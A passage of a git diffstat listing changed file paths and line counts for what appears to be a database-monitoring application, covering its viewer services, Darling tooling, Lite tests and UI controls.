 .../ViewerDataService.ConfigChanges.cs        |   28 +
 .../ViewerDataService.CpuScheduler.cs         |   59 +-
 .../ViewerDataService.Deadlock.cs             |   15 +
 .../ViewerDataService.ExcludedDatabases.cs    |   20 +-
 .../ViewerDataService.FileIo.cs               |   87 +-
 .../ViewerDataService.FinOps.IndexAnalysis.cs |  435 +-
 .../ViewerDataService.FinOps.Inventory.cs     |  431 +-
 .../ViewerDataService.FinOps.Locking.cs       |   34 +-
 .../ViewerDataService.FinOps.Pvs.cs           |   14 +-
 ...iewerDataService.FinOps.Recommendations.cs |  778 +--
 .../ViewerDataService.FinOps.Storage.cs       |  714 +--
 .../ViewerDataService.FinOps.Utilization.cs   |  302 +-
 .../ViewerDataService.FinOps.Workload.cs      |  687 +-
 .../ViewerDataService.FinOps.cs               |  425 +-
 .../ViewerDataService.Findings.cs             |    9 +
 .../ViewerDataService.Fleet.cs                |   73 +-
 .../ViewerDataService.ItemHistory.cs          |   65 +-
 .../ViewerDataService.ItemTimeline.cs         |    4 +-
 .../ViewerDataService.JobHistory.cs           |  408 +-
 .../ViewerDataService.LatchSpinlock.cs        |   36 +-
 .../ViewerDataService.LongQueries.cs          |   18 +
 .../ViewerDataService.Memory.cs               |   32 +-
 .../ViewerDataService.MonitoredServers.cs     |  427 +-
 .../ViewerDataService.Notification.cs         |   34 +-
 .../ViewerDataService.NotificationRoutes.cs   |   63 +-
 .../ViewerDataService.Overview.cs             |   68 +-
 .../ViewerDataService.OverviewLanes.cs        |   40 +-
 .../ViewerDataService.PasswordKey.cs          |   33 +
 .../ViewerDataService.PlanCache.cs            |   32 +-
 .../ViewerDataService.PlanCorrection.cs       |   17 +
 .../ViewerDataService.Plans.cs                |   51 +-
 .../ViewerDataService.Postgres.cs             |   23 +-
 .../ViewerDataService.ProcedureStats.cs       |  284 +-
 .../ViewerDataService.QueryHeatmap.cs         |   15 +
 .../ViewerDataService.QuerySnapshots.cs       |   14 +
 .../ViewerDataService.QueryStats.cs           |  492 +-
 .../ViewerDataService.QueryStore.cs           |  210 +-
 .../ViewerDataService.QueryStoreClutter.cs    |   49 +-
 ...ViewerDataService.QueryStoreRegressions.cs |   24 +-
 .../ViewerDataService.QueryTrends.cs          |   54 +-
 .../ViewerDataService.RollupAvailability.cs   |   76 +
 .../ViewerDataService.RunningJobs.cs          |  104 +-
 .../ViewerDataService.ServerStatus.cs         |  146 +-
 .../ViewerDataService.ServerTags.cs           |  268 +-
 .../ViewerDataService.SessionStats.cs         |   83 +-
 .../ViewerDataService.SystemEvents.cs         |  125 +-
 .../ViewerDataService.cs                      |  238 +-
 .../ViewerDataStartNote.cs                    |   65 +
 .../ViewerHistoryRows.cs                      |   49 +
 .../ViewerLoadTimer.cs                        |  117 +
 .../ViewerPasswordKey.cs                      |  450 ++
 .../ViewerPasswordKeyPins.cs                  |  154 +
 .../ViewerPostgresDisplay.cs                  |  173 +-
 .../ViewerPreferences.cs                      |   16 +-
 .../ViewerProcedureHistoryIdleRuns.cs         |   88 +
 .../ViewerServerMigration.cs                  |   92 +-
 .../ViewerServerSecret.cs                     |   76 -
 .../ViewerServerSetSync.cs                    |   29 +-
 .../ViewerServerTab.ActiveQueries.cs          |   46 +-
 .../ViewerServerTab.Blocking.cs               |  119 +-
 .../ViewerServerTab.CollectionHealth.cs       |  200 +-
 .../ViewerServerTab.ConfigChanges.cs          |   25 +-
 .../ViewerServerTab.CopyExport.cs             |    4 +-
 .../ViewerServerTab.CpuScheduler.cs           |    2 +-
 .../ViewerServerTab.DatabaseFilter.cs         |   13 +-
 .../ViewerServerTab.EngineGaps.cs             |   22 +-
 .../ViewerServerTab.EventDataStart.cs         |   60 +
 .../ViewerServerTab.FileIo.cs                 |   82 +-
 .../ViewerServerTab.Filters.cs                |    9 +-
 .../ViewerServerTab.HypotheticalIndex.cs      |    4 +-
 .../ViewerServerTab.LatchSpinlock.cs          |   12 +
 .../ViewerServerTab.LongQueries.cs            |   80 +-
 .../ViewerServerTab.Memory.cs                 |   55 +-
 .../ViewerServerTab.PlanCache.cs              |    3 +
 .../ViewerServerTab.Postgres.cs               |  183 +-
 .../ViewerServerTab.PostgresDataStart.cs      |   40 +
 .../ViewerServerTab.ProbeWatch.cs             |   52 +
 .../ViewerServerTab.Queries.cs                |  360 +-
 .../ViewerServerTab.QueriesBarCells.cs        |    2 +-
 .../ViewerServerTab.QueriesComparison.cs      |   73 +-
 .../ViewerServerTab.QueryHeatmap.cs           |   22 +-
 .../ViewerServerTab.QueryStoreClutter.cs      |   34 +-
 .../ViewerServerTab.RunningJobs.cs            |   44 +-
 .../ViewerServerTab.SessionStats.cs           |    2 +
 .../ViewerServerTab.SlicerOverlay.cs          |    5 +-
 .../ViewerServerTab.SystemEvents.cs           |   57 +-
 .../ViewerServerTab.TimeRange.cs              |  534 +-
 .../ViewerServerTab.xaml                      |  607 +-
 .../ViewerServerTab.xaml.cs                   |   44 +-
 .../ViewerSmtpSeal.cs                         |  158 +
 .../ViewerTimeRangeWindow.cs                  |  179 +
 .../ViewerWebhookSealing.cs                   |  196 +
 .../packages.lock.json                        |   83 +-
 Darling/README.md                             |  320 +-
 Darling/compose/darling.sample.json           |    1 +
 Darling/compose/docker-compose.yml            |   31 +-
 Darling/compose/secrets/README.md             |    2 +
 Darling/tools/fetch-pg-runtime.ps1            |    2 +
 Darling/tools/install-darling.ps1             |  382 +-
 Darling/tools/provision-roles.sql             |  478 +-
 Darling/tools/upgrade-darling.ps1             |  323 +-
 Directory.Build.props                         |    2 +-
 Directory.Packages.props                      |   13 +-
 Lite.Tests/AgAlertClockStepTests.cs           |    5 +-
 Lite.Tests/AgAlertEvaluatorTests.cs           |   65 +-
 Lite.Tests/AgAlertFailedSendRetryTests.cs     |   27 +-
 Lite.Tests/AgCollectorDefinitionTests.cs      |    4 +-
 Lite.Tests/AgedDatabaseMigrationTests.cs      |    8 +-
 Lite.Tests/AgentStatusArchivedHistoryTests.cs |    4 +-
 .../AlertDeliveryModeThreadingGuardTests.cs   |    1 +
 Lite.Tests/AlertHistoryCountFilterTests.cs    |   51 +
 Lite.Tests/AlertHistoryDisplayNameTests.cs    |    4 +-
 Lite.Tests/AlertHistorySourceTests.cs         |    4 +-
 Lite.Tests/AlertIncidentRenderTests.cs        |   65 +
 Lite.Tests/AlertSettingsControlWiringTests.cs |    1 +
 Lite.Tests/AlertSeverityTests.cs              |    4 +
 Lite.Tests/AlertStatementCutOrderLiteTests.cs |   87 +
 .../AlwaysOnXeReadOnlyIntentLiteTests.cs      |  531 ++
 Lite.Tests/AlwaysOnXeSessionsLiteTests.cs     |  497 ++
 Lite.Tests/AnalysisDataSpanTests.cs           |   26 +-
 Lite.Tests/AnalysisNotificationTests.cs       |   27 +
 Lite.Tests/AnalysisPassTokenThreadingTests.cs |    2 +-
 .../AppLoggerDuckDbOutOfMemoryHintTests.cs    |  140 +
 .../ArchivableTableBareReadSweepTests.cs      |    5 +
 Lite.Tests/ArchiveCompactionLowDiskTests.cs   |  498 ++
 Lite.Tests/ArchiveCompactionSwapLockTests.cs  |   10 +-
 Lite.Tests/ArchiveCompactionSwapTests.cs      |   98 +-
 Lite.Tests/ArchiveCopyOptionsPinTests.cs      |  273 +
 Lite.Tests/ArchiveFailedExportTempTests.cs    |   11 +-
 Lite.Tests/ArchiveInterruptedRunTests.cs      |   18 +-
 Lite.Tests/ArchiveNoOpPassViewRebuildTests.cs |  114 +
 ...chiveQuerySnapshotsDailyCompactionTests.cs |  495 ++
 .../ArchiveQueryStatsDailyCompactionTests.cs  |  350 ++
 Lite.Tests/ArchiveReadLimitTests.cs           |  971 +++
 Lite.Tests/ArchiveResetExportTests.cs         |   11 +-
 Lite.Tests/ArchiveResetRestoreByNameTests.cs  |    3 +-
 Lite.Tests/ArchiveResetRestoresStateTests.cs  |    8 +-
 Lite.Tests/ArchiveResetRetryClockStepTests.cs |   14 +-
 Lite.Tests/ArchiveTieOrderTests.cs            |  144 +
 Lite.Tests/ArchiveViewDedupTests.cs           |  153 +-
 Lite.Tests/ArchiveViewPartFileTests.cs        |   12 +-
 .../ArchiveViewRefreshAfterDeleteTests.cs     |   16 +-
 Lite.Tests/ArchiveWatermarkCacheTests.cs      |    6 +-
 Lite.Tests/ArchiveWatermarkGreaterOfTests.cs  |   23 +-
 Lite.Tests/ArchivedHistoryReadersTests.cs     |   10 +-
 Lite.Tests/AuroraOnlySqlIsGatedTests.cs       |    2 +
 Lite.Tests/AvailabilityGroupsGridSortTests.cs |    1 +
 .../AvailabilityGroupsTabRefreshTests.cs      |   23 +-
 Lite.Tests/AzureDatabaseSizeSiblingTests.cs   |  142 +-
 Lite.Tests/AzureMasterFallbackTests.cs        |   14 +-
 Lite.Tests/AzureSiblingGridNoteTests.cs       |    2 +-
 Lite.Tests/AzureSiblingGrowthTests.cs         |  106 +-
 Lite.Tests/AzureSiblingSizePayloadTests.cs    |   19 +-
 Lite.Tests/AzureSqlDatabaseMasterPinsTests.cs |    1 +
 Lite.Tests/AzureSqlDatabaseOwnFiguresTests.cs |    9 +-
 .../BaselineDiscontinuityRenderCensusTests.cs |   12 +-
 Lite.Tests/BlockingChartsDataStartTests.cs    |  552 ++
 Lite.Tests/BlockingDatabaseFilterToolTests.cs |  369 ++
 .../BlockingDeadlockContextBuilderTests.cs    |    1 +
 Lite.Tests/BlockingSourceLabelTests.cs        |  118 +
 Lite.Tests/BlockingTrendEmptyToolTests.cs     |    6 +
 .../servertab-eventwires.baseline.txt         |    2 -
 Lite.Tests/CiSelectMapSelectGuardTests.cs     |  491 ++
 Lite.Tests/CiSelectReplayGuardTests.cs        |  141 +
 Lite.Tests/ClickThroughUiTextTests.cs         |  173 +
 Lite.Tests/CollectionCaveatsTests.cs          |    4 +-
 .../CollectionHealthDisplayZoneTests.cs       |   58 +-
 .../CollectionHealthEffectiveCadenceTests.cs  |  151 +
 .../CollectionHealthKeyedLookupParityTests.cs |  514 ++
 Lite.Tests/CollectionHealthOracleSql.cs       |  289 +
 .../CollectionHealthReadBehaviourTests.cs     |  784 +++
 .../CollectionHealthRunTimeToolTests.cs       |  493 ++
 .../CollectionHealthTabScheduleTests.cs       |  264 +
 .../CollectionLogDrillDataStartTests.cs       |  403 ++
 Lite.Tests/CollectionLogToolTests.cs          |   40 +-
 Lite.Tests/CollectionOutputBesideCostTests.cs |    1 +
 .../CollectorDurationDetailTextTests.cs       |   66 +
 Lite.Tests/CollectorDurationHoverTests.cs     |  225 +
 Lite.Tests/CollectorGateSurfacePinTests.cs    |    1 +
 Lite.Tests/CollectorHealthClassifierTests.cs  |   18 +-
 Lite.Tests/CollectorRunTimeScheduleTests.cs   | 1232 ++++
 Lite.Tests/CollectorRunTimeSweepTests.cs      |  327 +
 Lite.Tests/CollectorRunTimeWarningLogTests.cs |   69 +
 .../CollectorSelfQueryMarkerCensusTests.cs    |  441 ++
 Lite.Tests/ComparisonWindowUtcTests.cs        |   12 +-
 Lite.Tests/CpuHoverStoredWallClockTests.cs    |   22 +-
 ...uSchedulerStatsCollectorDefinitionTests.cs |    2 +-
 Lite.Tests/CrossAppGuardCiGateTests.cs        |  544 +-
 .../CrossAppMcpToolInventoryPinTests.cs       |   67 +-
 Lite.Tests/CrossAppPresetValuePinTests.cs     |    2 +
 Lite.Tests/CrossAppStatementFilterPinTests.cs |  145 +
 Lite.Tests/CrossSkuSurfaceSourceTests.cs      |   14 +-
 Lite.Tests/CurrentWaitsTrendToolTests.cs      |   16 +
 Lite.Tests/CustomTabHeaderInkTests.cs         |   25 +-
 Lite.Tests/DailySummaryCpuBarPinTests.cs      |    1 +
 Lite.Tests/DailySummaryRangeToolTests.cs      |   10 +-
 Lite.Tests/DarlingReadsTraitGuardTests.cs     |  441 ++
 Lite.Tests/DataGridRowMarkTests.cs            |    1 +
 .../DataStartBannerBlockingEventsTests.cs     |  315 +
 .../DataStartBannerLatchSpinlockTests.cs      |  176 +
 .../DataStartBannerProbeFailureTests.cs       |  173 +
 Lite.Tests/DataStartBannerQueriesTabTests.cs  | 1329 ++++
 Lite.Tests/DataStartBannerSurfaceTests.cs     | 1391 +++++
 Lite.Tests/DataStartBannerTests.cs            |  396 ++
 .../DatabaseSizeCollectorDefinitionTests.cs   |   13 +-
 Lite.Tests/DatabaseStateNoVerdictTests.cs     |    3 +-
 .../DatabaseStateSweepAfterArchiveTests.cs    |    3 +-
 ...ndBlockedProcessEnsureLogLevelLiteTests.cs |  688 ++
 Lite.Tests/DeadlockDuplicateCleanupTests.cs   |   20 +-
 .../DeadlockStoredIdentityReadLiteTests.cs    |   27 +-
 .../DeadlocksAzureLoopStateLiteTests.cs       |    8 +
 .../DeadlocksTelemetryCursorLiteTests.cs      |    1 +
 ...aultTraceEventsCollectorDefinitionTests.cs |    2 +-
 Lite.Tests/DeltaFamilySeedingCensusTests.cs   |    2 +
 .../DeltaFamilyUnknowableRowReadTests.cs      |   75 +-
 Lite.Tests/DesktopDatabaseFilterReadsTests.cs |  438 ++
 Lite.Tests/DetachedCollectorGateTests.cs      |    2 +
 Lite.Tests/DismissReliabilityTests.cs         |   12 +-
 Lite.Tests/DismissedArchiveSidecarTests.cs    |   10 +-
 Lite.Tests/DisplayZoneRendererTests.cs        |   23 +-
 Lite.Tests/DisplayZoneTextFrameTests.cs       |   62 +-
 .../DrillDownDopProvenanceParityTests.cs      |    1 +
 .../DuckDbInitializerDisposalGuardTests.cs    |  325 +
 Lite.Tests/DuckDbMemoryLimitSettingTests.cs   |  369 ++
 Lite.Tests/DuckDbSchemaTests.cs               |   10 +-
 Lite.Tests/DuckDbSentinelConnectionTests.cs   |   57 +-
 Lite.Tests/DuckDbSentinelResetRaceTests.cs    |   16 +-
 .../DurationTrendDatabaseFilterToolTests.cs   |  374 ++
 .../DurationTrendFilteredDenominatorTests.cs  |  204 +
 Lite.Tests/EmptyDatabaseListNoteLiteTests.cs  |  331 +
 Lite.Tests/EmptyEnumerationInventoryTests.cs  |    1 +
 Lite.Tests/EmptyEnumerationNoteTests.cs       |   49 +-
 Lite.Tests/EngineGapNoteTests.cs              |    4 +-
 Lite.Tests/EntraDeviceCodeTests.cs            |  452 +-
 .../EventListDatabaseFilterToolTests.cs       |  405 ++
 Lite.Tests/FileGrowthAlertTests.cs            |    1 +
 Lite.Tests/FileIoLatencyTopFilesTests.cs      |  272 +
 .../FinOpsFirstVisitAndBaselineTests.cs       |  437 ++
 Lite.Tests/FinOpsFleetReadParityTests.cs      |  146 +-
 ...inOpsIdleCoverageAndInventoryScoreTests.cs |  199 +
 Lite.Tests/FinOpsSecondaryReplicaTests.cs     |  162 +
 Lite.Tests/FinOpsServerInventoryTests.cs      |    5 +-
 Lite.Tests/FinOpsSizeGridReloadPinTests.cs    |    1 +
 Lite.Tests/FinOpsTests.cs                     |  195 +-
 Lite.Tests/FinOpsVerdictSourcePinTests.cs     |    1 +
 Lite.Tests/FindingStoreTests.cs               |    2 +-
 .../FindingsRetentionHorizonPinTests.cs       |    1 +
 Lite.Tests/ForcePlanTargetStateTests.cs       |    1 +
 .../GenericWebhookHeadersOriginTests.cs       |  313 +
 Lite.Tests/GenericWebhookTests.cs             |    1 +
 Lite.Tests/GridPayloadColumnOrderPinTests.cs  |    1 +
 Lite.Tests/GridTimeColumnSortMemberTests.cs   |   12 +
 Lite.Tests/GuardStageCensusTests.cs           |  315 +
 .../Helpers/CollectorDefinitionTestFakes.cs   |    9 +-
 Lite.Tests/Helpers/TestAlertDataHelper.cs     |    2 +-
 Lite.Tests/HostHeaderGuardTests.cs            |    1 +
 Lite.Tests/HyperscaleLogSizeTests.cs          |   17 +-
 Lite.Tests/IncidentCooldownTests.cs           |  161 +
 .../IndexLockingGridQualifiedNameTests.cs     |    1 +
 Lite.Tests/IndexObjectStatsTests.cs           |   16 +-
 Lite.Tests/InstallIdStoreTests.cs             |  663 ++
 Lite.Tests/InstallIdTests.cs                  |   91 +
 Lite.Tests/JobHistoryDataStartTests.cs        |  637 ++
 .../JobHistoryServerClockWindowTests.cs       |  294 +
 .../LatchStatsCollectorDefinitionTests.cs     |    2 +-
 Lite.Tests/LatestValueLookbackTests.cs        |    8 +-
 Lite.Tests/Lite.Tests.csproj                  |   34 +-
 ...iteAlertForwardingTests.StatementFilter.cs |   57 +
 Lite.Tests/LiteAlertForwardingTests.cs        |    4 +-
 Lite.Tests/LiteAnomalousJobsFreshnessTests.cs |   15 +-
 ...CpuSessionsPlanCacheTrendBucketingTests.cs |   20 +
 .../LiteOverviewCardExplainsItselfTests.cs    |    1 +
 .../LiteRunningJobsCurrentSnapshotTests.cs    |  241 +
 Lite.Tests/LiteTimeRangeGapTests.cs           |  394 ++
 Lite.Tests/LlmsTxtCollectorCensusTests.cs     |    1 +
 Lite.Tests/LocalDatabaseReopenTests.cs        |   35 +-
 Lite.Tests/LogTailOverlapThresholdPinTests.cs |    1 +
 .../LongQueryBannerSessionScopeTests.cs       |   83 +
 ...ueryCompletionsCollectorDefinitionTests.cs |  225 +-
 .../LongQueryTraceLifecycleLiteTests.cs       | 2556 ++++++++
 ...LongQueryTracePermissionDenialLiteTests.cs |  176 +
 .../LongQueryTraceReadOnlyIntentLiteTests.cs  |  569 ++
 Lite.Tests/MainConnectionLimitsTests.cs       |  173 +
 Lite.Tests/MainWindowAccessKeyTests.cs        |   25 +-
 Lite.Tests/McpAlertSettingsKeyTests.cs        |    1 +
 Lite.Tests/McpAnalysisFindingsCommandTests.cs |   51 +
 Lite.Tests/McpArgumentTypeTests.cs            |   99 +
 Lite.Tests/McpDatabaseNameFilterToolTests.cs  |  306 +
 Lite.Tests/McpDatabaseSelectionTests.cs       |   30 +
 Lite.Tests/McpDescriptionTruthPinTests.cs     |    2 +
 Lite.Tests/McpHelpersTruncateTests.cs         |   92 +
 Lite.Tests/McpJsonPostGuardTests.cs           |  136 +
 Lite.Tests/McpMissMessageParityPinTests.cs    |   48 +-
 Lite.Tests/McpPageContractTests.cs            |  120 +-
 Lite.Tests/McpReadToolBudgetTests.cs          |   11 +
 Lite.Tests/McpSettingsGuardTests.cs           |    1 +
 .../McpStorageDatabaseNameFilterToolTests.cs  |  395 ++
 Lite.Tests/McpToolGuideHeads.SqlCore.cs       |   14 +-
 .../McpToolsListBudget/McpBlockingTools.txt   |    5 +-
 .../McpConfigHistoryTools.txt                 |    1 +
 .../McpDefaultTraceTools.txt                  |    1 +
 .../McpHealthParserTools.txt                  |    1 +
 .../McpToolsListBudget/McpHealthTools.txt     |    3 +-
 Lite.Tests/McpToolsListBudget/McpIoTools.txt  |    1 +
 .../McpToolsListBudget/McpLongQueryTools.txt  |    1 +
 .../McpObjectStatsTools.txt                   |    2 +
 .../McpPlanCorrectionTools.txt                |    1 +
 Lite.Tests/McpToolsListBudget/McpPvsTools.txt |    1 +
 .../McpToolsListBudget/McpQueryTools.txt      |    3 +
 .../McpToolsListBudget/McpServerInfoTools.txt |    1 +
 .../McpToolsListBudget/McpSessionTools.txt    |    1 +
 .../McpToolsListBudget/McpWaitTools.txt       |    3 +-
 Lite.Tests/McpToolsListBudgetTests.cs         |   21 +-
 Lite.Tests/McpUnknownArgumentGuardTests.cs    |   81 +-
 Lite.Tests/McpWholeNumberArgumentTests.cs     |  258 +
 .../McpWindowNoticeAggregateToolTests.cs      |  667 ++
 .../McpWindowNoticeConfigAndLogToolTests.cs   |  668 ++
 Lite.Tests/McpWindowNoticeEventToolTests.cs   |  433 ++
 .../McpWindowNoticeSystemHealthToolTests.cs   |  645 ++
 Lite.Tests/McpWindowNoticeToolTests.cs        | 1090 ++++
 Lite.Tests/MeasurementContractCensusTests.cs  |    8 +-
 Lite.Tests/MuteRulesSurviveResetTests.cs      |    6 +-
 Lite.Tests/NewerSchemaFileGuardTests.cs       |    7 +-
 Lite.Tests/ObjectLockingBudgetTests.cs        |  155 +
 Lite.Tests/OnLoadRecaptureScheduleTests.cs    |    3 +-
 ...eratorRemediationLiteDivergencePinTests.cs |    2 +
 Lite.Tests/OptimizedLockingNoteTests.cs       |   25 +
 .../OverviewBlockingLaneDataStartLiveTests.cs |  354 ++
 .../OverviewBlockingLaneDataStartPinTests.cs  |  108 +
 .../OverviewBlockingLaneDataStartTests.cs     |  119 +
 Lite.Tests/OverviewLanesUtcFrameTests.cs      |    4 +-
 .../OverviewNewestReadsHotFirstTests.cs       |    4 +-
 Lite.Tests/PagerDutyWebhookTests.cs           |  721 +++
 .../ParameterSensitivityClockFrameTests.cs    |    2 +-
 ...erSensitivityFiringSignatureParityTests.cs |    1 +
 Lite.Tests/PartialDatabaseFailureNoteTests.cs |    1 +
 Lite.Tests/PerDatabaseProbeFailureTests.cs    |    7 +-
 Lite.Tests/PerEventNotificationTests.cs       |   17 +
 Lite.Tests/PerfmonCounterTypeTests.cs         |   17 +-
 Lite.Tests/PerformanceCalendarDataTests.cs    |   12 +-
 .../PerformanceTrendDurationBucketingTests.cs |  176 +-
 Lite.Tests/PgServerLogPathPinTests.cs         |    1 +
 .../PlanCacheStatsCollectorDefinitionTests.cs |    2 +-
 .../PlanRegressionDrillDownReuseTests.cs      |    2 +-
 Lite.Tests/PlanViewer4632FallbackTests.cs     |   22 +-
 Lite.Tests/PlanViewerCapabilityPinTests.cs    |    1 +
 .../PostCollectionCheckpointBudgetTests.cs    |  129 +
 Lite.Tests/PreinitializedDuckDb.cs            |  122 +
 Lite.Tests/PreinitializedDuckDbTests.cs       |  114 +
 .../ProcedureStatsCollectorDefinitionTests.cs |   89 +-
 .../ProcedureStatsIdleRowsReaderTests.cs      |  376 ++
 Lite.Tests/ProcedureTrendQueryPinTests.cs     |   78 +
 Lite.Tests/QsCaptureModeRungTests.cs          |    4 +-
 Lite.Tests/QueriesTabWindowRoundTripTests.cs  |   10 +-
 .../QueryHighDopStaleMaxDopParityTests.cs     |    1 +
 Lite.Tests/QueryHighDopStaleMaxDopTests.cs    |    2 +-
 Lite.Tests/QuerySnapshotPlanOnDemandTests.cs  |   16 +-
 Lite.Tests/QueryStatsTextAfterRankingTests.cs |  881 +++
 .../QueryStoreBackfillDroppedDatabaseTests.cs |  544 ++
 ...eryStoreBackfillReadFailureWarningTests.cs |   28 +
 .../QueryStoreCollectorDefinitionTests.cs     |    2 +-
 Lite.Tests/QueryStoreDedupReadTests.cs        |  105 +-
 .../QueryStoreHistoryTotalExecutionsTests.cs  |  286 +
 Lite.Tests/QueryStoreIntervalEndRungTests.cs  |   12 +-
 Lite.Tests/QueryStoreOldReadSql.cs            |  430 ++
 Lite.Tests/QueryStoreRegressionsToolTests.cs  |    6 +-
 .../QueryStoreReplicaSplitAnalysisTests.cs    |    2 +-
 Lite.Tests/QueryStoreServerGateTests.cs       |    2 +
 Lite.Tests/QueryStoreSliceRepairTests.cs      |   47 +-
 .../QueryStoreSliceTieBreakSourceTests.cs     |    1 +
 Lite.Tests/QueryStoreTextAfterRankingTests.cs |  559 ++
 Lite.Tests/QueryWindowTruncationTests.cs      |  311 +-
 Lite.Tests/RefreshCoordinatorTests.cs         |  525 ++
 Lite.Tests/RegressedFromProductiveTests.cs    |    6 +-
 .../ReleaseWalkFilterAndCompareTests.cs       |  216 +
 Lite.Tests/ReplayedIndexRebuildTests.cs       |   22 +-
 .../SameStatementPileupDetectorTests.cs       |   25 +-
 Lite.Tests/ScreenReaderNamesFollowUpTests.cs  |  264 +
 Lite.Tests/ScreenReaderNamesTests.cs          |  234 +
 Lite.Tests/ScreenReaderRowNamesTests.cs       |  312 +
 Lite.Tests/SecondOccurrenceReadTests.cs       |    2 +-
 .../SecondaryReplicaMcpAnalysisTests.cs       |  231 +
 Lite.Tests/SecondaryReplicaScopeTests.cs      |  531 ++
 Lite.Tests/ServerClockDstReadTests.cs         |    1 +
 ...erverPropertiesCollectorDefinitionTests.cs |    2 +-
 Lite.Tests/ServerScheduleSummaryTests.cs      |  132 +
 Lite.Tests/ServerTabCapabilityPinTests.cs     |    1 +
 .../ServerTabEmptyStateAndNamesTests.cs       |  397 ++
 Lite.Tests/ServerTabHeldRangeTests.cs         |  322 +-
 Lite.Tests/ServerTabHistoryOverlayTests.cs    |   74 +
 Lite.Tests/ServerTabStatusTextTests.cs        |   48 +
 Lite.Tests/ServerTimeHelperClockTests.cs      |    6 +-
 Lite.Tests/ServiceBuildSurfaceTests.cs        |    1 +
 ...ionSummaryStatsCollectorDefinitionTests.cs |    2 +-
 Lite.Tests/SettingsFileGuardTests.cs          |    1 +
 Lite.Tests/SettingsImportTests.cs             |  137 +
 Lite.Tests/SharedBaselineCacheTests.cs        |    2 +-
 Lite.Tests/SharedBaselineModelPinTests.cs     |    1 +
 Lite.Tests/SharedCollectorDefaultsPinTests.cs |    1 +
 Lite.Tests/SharedDuckDbFixture.cs             |  120 +-
 Lite.Tests/SignificantWaitsToolTests.cs       |   25 +-
 Lite.Tests/SnapshotCollectedTimeTests.cs      |  205 +
 .../SpinlockStatsCollectorDefinitionTests.cs  |    2 +-
 Lite.Tests/SqlServerPermissionErrorsTests.cs  |    3 +
 Lite.Tests/StaThreadCensusTests.cs            |  136 +
 Lite.Tests/StallWaitProbePolicyTests.cs       |  304 +-
 .../StandalonePlanViewerPlusTabTests.cs       |   47 +-
 Lite.Tests/StatementAnalysisReadCutTests.cs   |  156 +
 .../StatementDrillDownTextFetchTests.cs       |  247 +
 .../StatementFilterDrillDownWarningsTests.cs  |  156 +
 Lite.Tests/StatementFilterLiteMcpTests.cs     |  374 ++
 .../StatementScrubDeadlockCleanupTests.cs     |  100 +
 Lite.Tests/StatementScrubDerivedStoreTests.cs |  196 +
 .../StatementScrubLiteCollectionTests.cs      |  488 ++
 .../StatementScrubLivePlanDisplayTests.cs     |  267 +
 Lite.Tests/StatementScrubLiveReadTests.cs     |  250 +
 .../StatementScrubWholeMarkerIdentityTests.cs |  191 +
 Lite.Tests/StatusBarSizeReadLockTests.cs      |    3 +-
 Lite.Tests/StoredEventCopiesDeadlockTests.cs  |   26 +-
 Lite.Tests/StoredEventCopiesReaderTests.cs    |   15 +-
 Lite.Tests/StoredEventCopiesSweepTests.cs     |    9 +
 Lite.Tests/StoredEventCopiesTests.cs          |    9 +-
 Lite.Tests/StoredPlanAnalysisFilterTests.cs   |  190 +
 Lite.Tests/SwallowedItemFailureTests.cs       |    8 +-
 Lite.Tests/SystemEventsReaderTests.cs         |  221 +-
 Lite.Tests/TabLoadsOffUiThreadTests.cs        |  268 +
 Lite.Tests/TestCpuAccountant.cs               |  246 +
 Lite.Tests/TestCpuAccountantTests.cs          |  186 +
 Lite.Tests/TestDataSeeder.cs                  |   74 +-
 Lite.Tests/TestMapProducerGuardTests.cs       |  533 ++
 Lite.Tests/TestMapShadowGuardTests.cs         |  751 +++
 Lite.Tests/ThemeColorOverrideTests.cs         |   28 +-
 Lite.Tests/ThemeParityLiteDarlingTests.cs     |    1 +
 Lite.Tests/ThemeStatusContrastTests.cs        |    1 +
 Lite.Tests/TimeHonestyRungTests.cs            |    7 +-
 Lite.Tests/TimingCollection.cs                |   26 +
 Lite.Tests/TimingTestCensusTests.cs           |   99 +
 Lite.Tests/TopCpuQueriesTextTests.cs          |    4 +-
 Lite.Tests/TopListTotalOrderPinTests.cs       |   79 +
 Lite.Tests/TopListWaitforRefillReaderTests.cs |  189 +
 Lite.Tests/TopTextTieBreakReaderTests.cs      |  105 +
 .../WaitStatsCollectorDefinitionTests.cs      |    4 +-
 .../WaitingBlockedDatabaseFilterToolTests.cs  |  310 +
 Lite.Tests/WatermarkPolicyTests.cs            |   30 +-
 Lite.Tests/WatermarkReadFailureLogTests.cs    |   10 +-
 Lite.Tests/WebhookCooldownSeedTests.cs        |   99 +-
 Lite.Tests/WindowResumeGuardTests.cs          |    1 +
 Lite.Tests/WindowWorkAreaTests.cs             |    1 +
 Lite.Tests/WriteLockBudgetTests.cs            |    2 +
 Lite.Tests/XeTimeFilterSweepTests.cs          |    6 +
 Lite.Tests/packages.lock.json                 |   78 +-
 Lite/Analysis/AnalysisService.cs              |   48 +-
 Lite/Analysis/AnomalyDetector.cs              |    4 +
 Lite/Analysis/BlockingPairRowQuery.cs         |   81 +-
 Lite/Analysis/DrillDownCollector.Blocking.cs  |   60 +-
 Lite/Analysis/DrillDownCollector.Config.cs    |    3 +
 Lite/Analysis/DrillDownCollector.Plans.cs     |    6 +-
 Lite/Analysis/DrillDownCollector.Queries.cs   |  184 +-
 Lite/Analysis/DrillDownCollector.Storage.cs   |    3 +
 Lite/Analysis/DuckDbFactCollector.Activity.cs |    7 +-
 Lite/Analysis/DuckDbFactCollector.Config.cs   |    4 +
 .../Analysis/DuckDbFactCollector.QueryPerf.cs |    8 +-
 Lite/Analysis/DuckDbFactCollector.Storage.cs  |    5 +-
 Lite/Analysis/FindingStore.cs                 |    7 +-
 Lite/Analysis/PileupSnapshotReader.cs         |   19 +-
 .../LiteRecommendationsViewModel.cs           |   14 +
 Lite/Analysis/SecondaryReplicaScope.cs        |  147 +
 Lite/App.xaml.cs                              |   81 +-
 Lite/Controls/AlertsHistoryTab.xaml           |   14 +-
 Lite/Controls/AlertsHistoryTab.xaml.cs        |   75 +-
 Lite/Controls/AvailabilityGroupsTab.xaml.cs   |    6 +-
 .../CorrelatedTimelineLanesControl.xaml       |   23 +-
 .../CorrelatedTimelineLanesControl.xaml.cs    |   63 +-
 Lite/Controls/FinOpsTab.Locking.cs            |   10 +-
 Lite/Controls/FinOpsTab.ObjectHeatmap.cs      |   15 +-
 Lite/Controls/FinOpsTab.xaml                  |  399 +-
 Lite/Controls/FinOpsTab.xaml.cs               |  196 +-
 Lite/Controls/JobHistoryTab.xaml              |   30 +-
 Lite/Controls/JobHistoryTab.xaml.cs           |  183 +-
 Lite/Controls/LiteBlockingLaneDataStart.cs    |  192 +
